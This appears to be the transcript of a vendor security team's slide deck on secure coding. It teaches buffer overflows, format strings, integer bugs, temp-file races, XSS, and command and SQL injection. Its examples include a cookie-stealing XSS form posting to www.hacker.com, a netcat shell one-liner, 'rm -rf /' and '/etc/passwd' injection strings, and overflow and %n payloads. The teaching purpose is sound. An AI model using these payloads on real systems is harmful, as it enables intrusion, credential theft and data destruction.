Your SlideShare is downloading. ×
Secure Product Development How to avoid being 0wnz0r3d by ...
Upcoming SlideShare
Loading in...5
×

Thanks for flagging this SlideShare!

Oops! An error has occurred.

×
Saving this for later? Get the SlideShare app to save on your phone or tablet. Read anywhere, anytime – even offline.
Text the download link to your phone
Standard text messaging rates apply

Secure Product Development How to avoid being 0wnz0r3d by ...

937

Published on

0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total Views
937
On Slideshare
0
From Embeds
0
Number of Embeds
0
Actions
Shares
0
Downloads
11
Comments
0
Likes
0
Embeds 0
No embeds

Report content
Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
No notes for slide

Transcript

  • 1. Secure Product Development How to avoid being 0wnz0r3d by 31337 h4x04z.
  • 2. Security Team Introduction
    • Part of service group
    • Respond to NetScreen product flaws
    • Audit security of NetScreen products
    • Provide security knowledge to R&D
    • Create/maintain IDP signatures
    • Create/maintain hardened OS images
  • 3. Why Worry About Security?
    • We sell a security product
    • Embarrassment
    • Loss of revenue
    • Patch releases are inefficient
    • Save Security Team work
  • 4. Why Security Flaws Exist
    • Security is hard!
    • Lack of education
    • Lack of priority/schedule
    • No liability laws (yet)
    • C, the cursed language
  • 5. Designing a Secure Product
    • Security from the beginning
    • Clear security requirements
    • Multiple layers of security
    • Review issues in similar products
    • Allow time for security
  • 6. Developing a Secure Product
    • Training/experience
    • Think like a hacker
    • Never ever trust input
    • Check data obsessively
    • Code reviews
  • 7. Testing a secure Product
    • Allocate time for security testing
    • Be mean (breaking things is your job)
    • Think like a hacker
    • Test for common flaws
  • 8. Common Flaws - BOFs
    • Buffer overflow
    • Most common serious flaw
    • Mostly problem in C
    • libc functions usually at fault
  • 9. Buffer Overflows - Cont.
    • Text Segment
      • where executable code is stored
      • cannot be written to
    • Heap
      • where malloced memory is located
    • Stack
      • stores
        • local variables
        • stack frames
      • grows down
  • 10. Buffer Overflows - Cont.
    • Stack Frame
      • Tracks function calls
      • Saved Frame Pointer
        • points to the FP of the calling function
      • Return Address
        • contains address of code of calling function
        • this is the next line-of-code executed after a return statement
      • Local Variables
  • 11. Buffer Overflows - Cont.
    • Example of a Stack Buffer Overflow
    • void main(int argc, char **argv){
    • foo(argv[1]);
    • }
    • void foo(char *str){
    • int a;
    • char c[16];
    • strcpy(c, str);
    • return;
    • }
  • 12. Buffer Overflows - Cont.
    • Use Example:
    • # ./program “hello”
  • 13. Buffer Overflows - Cont.
    • Use Example:
    • # ./program “AAAAAAAAAAAAAAAAAAAAAAAAAAAA”
    • (that’s 28 As)
    • Return Address is now “AAAA” or 0x41414141!
  • 14. Buffer Overflows - Cont.
    • Use Example:
    • # ./program “AAAAAAAAAAAAAAAAAAAAAAAA0xc0778012”
    • Return Address is now 0xc0778012
    • on function return, program starts executing c[0]
    • Since we control what goes in c[], we now control the program!
  • 15. Buffer Overflows - Cont.
    • What can a h4x0r do now?
      • Crash the machine (DoS)
      • Destroy data (rm -rf /)
      • Install a trojan (subseven, backorifice)
      • Spawn a shell (nc -l -p 5000 | sh)
    • On a NetScreen?
      • DoS (crash) most common result
      • Overwrite the policy with garbage?
      • Modify the policy to allow access?
      • Execute arbitrary ScreenOS commands?
  • 16. Buffer Overflows - Cont.
    • Heap overflows
    • Can modify variable values
      • logged_in = 1
      • is_superuser = 1
    • Code execution
      • Harder than stack overflows
      • Only works on some systems
      • Overwrites malloc headers
      • This is a very complex attack
  • 17. Dangerous libc Functions
    • The worst
      • strcpy
      • strcat
      • sprintf, vsprintf
      • gets
      • strlen
      • scanf, sscanf, fscanf, vscanf, vsscanf
    • Some others
      • realpath
      • getopt
      • getpass
      • streadd
      • strecpy
      • strtms
      • getwd
  • 18. Format String Flaws
    • Caused by improper use of *printf functions
    • printf(str) instead of printf(“%s”, str)
    • %n argument writes to stack
    • Use field widths to increase value (e.g. %100d)
    • Use multiple %n (one for each byte)
  • 19. Format String Example
    • int main(int argc, char **argv){
    • char str[256];
    • scanf(“%256s”, str); //look ma, no overflow!
    • printf(str);
    • }
    • # ./program
    • AAAA%08x%08x%08x%08x%08x%n
    • We’ve overwritten memory @ 0x41414141. Replace AAAA with your return address, or any other data structure location
  • 20. Format Strings - Cont.
    • What can a hacker do now?
      • Take control of program (overwrite return address)
      • Dump memory using %s or %x
      • Modify arbitrary data structures
        • logged_in = 1
      • Crash the program (write to bogus address, SEGFAULT)
  • 21. Format Strings - Cont.
    • Dangerous functions
        • fprintf
        • printf
        • sprintf
        • snprintf
        • vfprintf
        • vsprintf
        • vsnprintf
        • syslog
        • others (err*, verr*, warn*, vwarn*)
        • your own logging functions
  • 22. Integer Flaws
    • Even integer math can contain flaws
    • Sign mistakes
    • Integer overflows
  • 23. Integer Sign Flaws
    • Relatively common
    • Have to check function prototypes
    • (unsigned int)-1 = 4,294,967,295
    • Hard to exploit
    • Apache chunked encoding vulnerability
  • 24. Integer Sign Flaw - Example
    • void foo(int len, char *src){
    • buf[256];
    • if(len > 256) { //no overflows allowed!
    • printf(“error!”);
    • return;
    • }
    • memcpy(buf, src, len);
    • printf(“ok!”);
    • }
    • foo(7, “hello”); -- ok!
    • foo(500, ...); -- error!
    • foo(-1, ...); -- SEGFAULT
  • 25. Integer Overflows
    • What happens when an int gets too big?
    • 4,294,967,295 + 1 = 0
    • All integer math is mod 2^32
    • No way to tell this has happened
  • 26. Integer Overflow Example
    • int* arraydup(int *array, unsigned int n){
    • int *newarray = malloc( n * sizeof(int) );
    • int i;
    • for(i = 0; i < n ; i++){
    • newarray[i] = array[i];
    • }
    • return newarray;
    • }
    • if n = 1073741824, n * sizeof(int) = 4294967296 = 0
  • 27. Integer Overflow Example(2)
    • char *strcat(char *str1, uint len1, char *str2, uint len2)
    • {
    • char *newstr = malloc( len1 + len2 );
    • memcpy(newstr, str1, len1 );
    • memcpy(newstr + len1 , str2, len2 );
    • return newstr;
    • }
    • if len1 = len2 = 0x80000000, len1 + len2 = 0x0100000000 = 0
    • result: SEGFAULT
  • 28. /tmp Attacks
    • Can happen when filename is predictable
    • Attacker can symlink file to anything
    • Not just /tmp
    • Solution: use tempnam, etc.
  • 29. /tmp Attacks - Example
    • void main(){
    • int fd = creat(“/tmp/foo”, O_RDRW);
    • write_temp_data(fd);
    • }
    • Attacker can symlink /tmp/foo to some other file owned by the process UID. You’re not root are you?
    • /etc/passwd
    • /var/firewall/policy.txt
    • if attacker can control what is written, could be even worse attack
  • 30. Cross-Site Scripting
    • HTML/javascript attack
    • Way to trick other users
    • Can Occur whenever user-provided data is displayed (NetScreen FW Logs)
    • Very difficult to block, script can be entered many ways
    • Only allow good characters, don’t try to block bad
  • 31. Cross-Site Scripting - Example
    • <?php
    • print “Welcome $username ”;
    • ?>
    • What if username was:
    • <form action=www.hacker.com/gather.cgi><input type=hidden name=cookie onLoad=“value=document.cookie; form.submit();”></form>victim
    • Victim would see “Welcome victim!” but their cookie was just stolen.
    • Can be made less conspicuous by using URL encodings, e.g.:
    • /login.php?username=<form...
    • can look like:
    • /login.php?%75%73%65%72%6e%61%6d%65%3d%3c%66%6f%72%6d...
  • 32. Command/SQL Injection
    • Can occur whenever commands are executed
    • Also in all SQL statements
    • Prematurely end statement, add 2nd statement
    • Don’t filter out bad characters, only allow good characters
  • 33. Command Injection - Example
    • #!/bin/perl
    • #Web-based finger gateway
    • $user = $form[user];
    • @output = `/bin/finger $user`;
    • print @output;
    • What if $form[user] was “foo; rm -rf /” or “foo; cat /etc/passwd”?
    • The ‘;’ terminates the 1st command, begins 2nd command.
    • Not only ‘;’, some shells allow &&, ||, etc.
  • 34. SQL Injection - Example
    • void insert_log(char *user, char *log){
    • db->insert(“insert into log values(%s, %s)”, user, log);
    • }
    • What if log was: “executed command: foo); truncate table log;”
    • (presumably the attacker typed “foo); truncate table log;” at the prompt
    • or this: “update userdb set password=$passwd where user=$user;”
    • What if $user was “attacker or user like ‘admin’”
    • The attacker just set the admin’s password!
  • 35. Summary
    • Plan for security
    • Always keep security in mind
    • For developers:
      • Never trust input
      • Check everything
      • Only allow valid data
      • Be familiar with common security flaws
  • 36. Thank You
    • You’ve just made our job easier.

×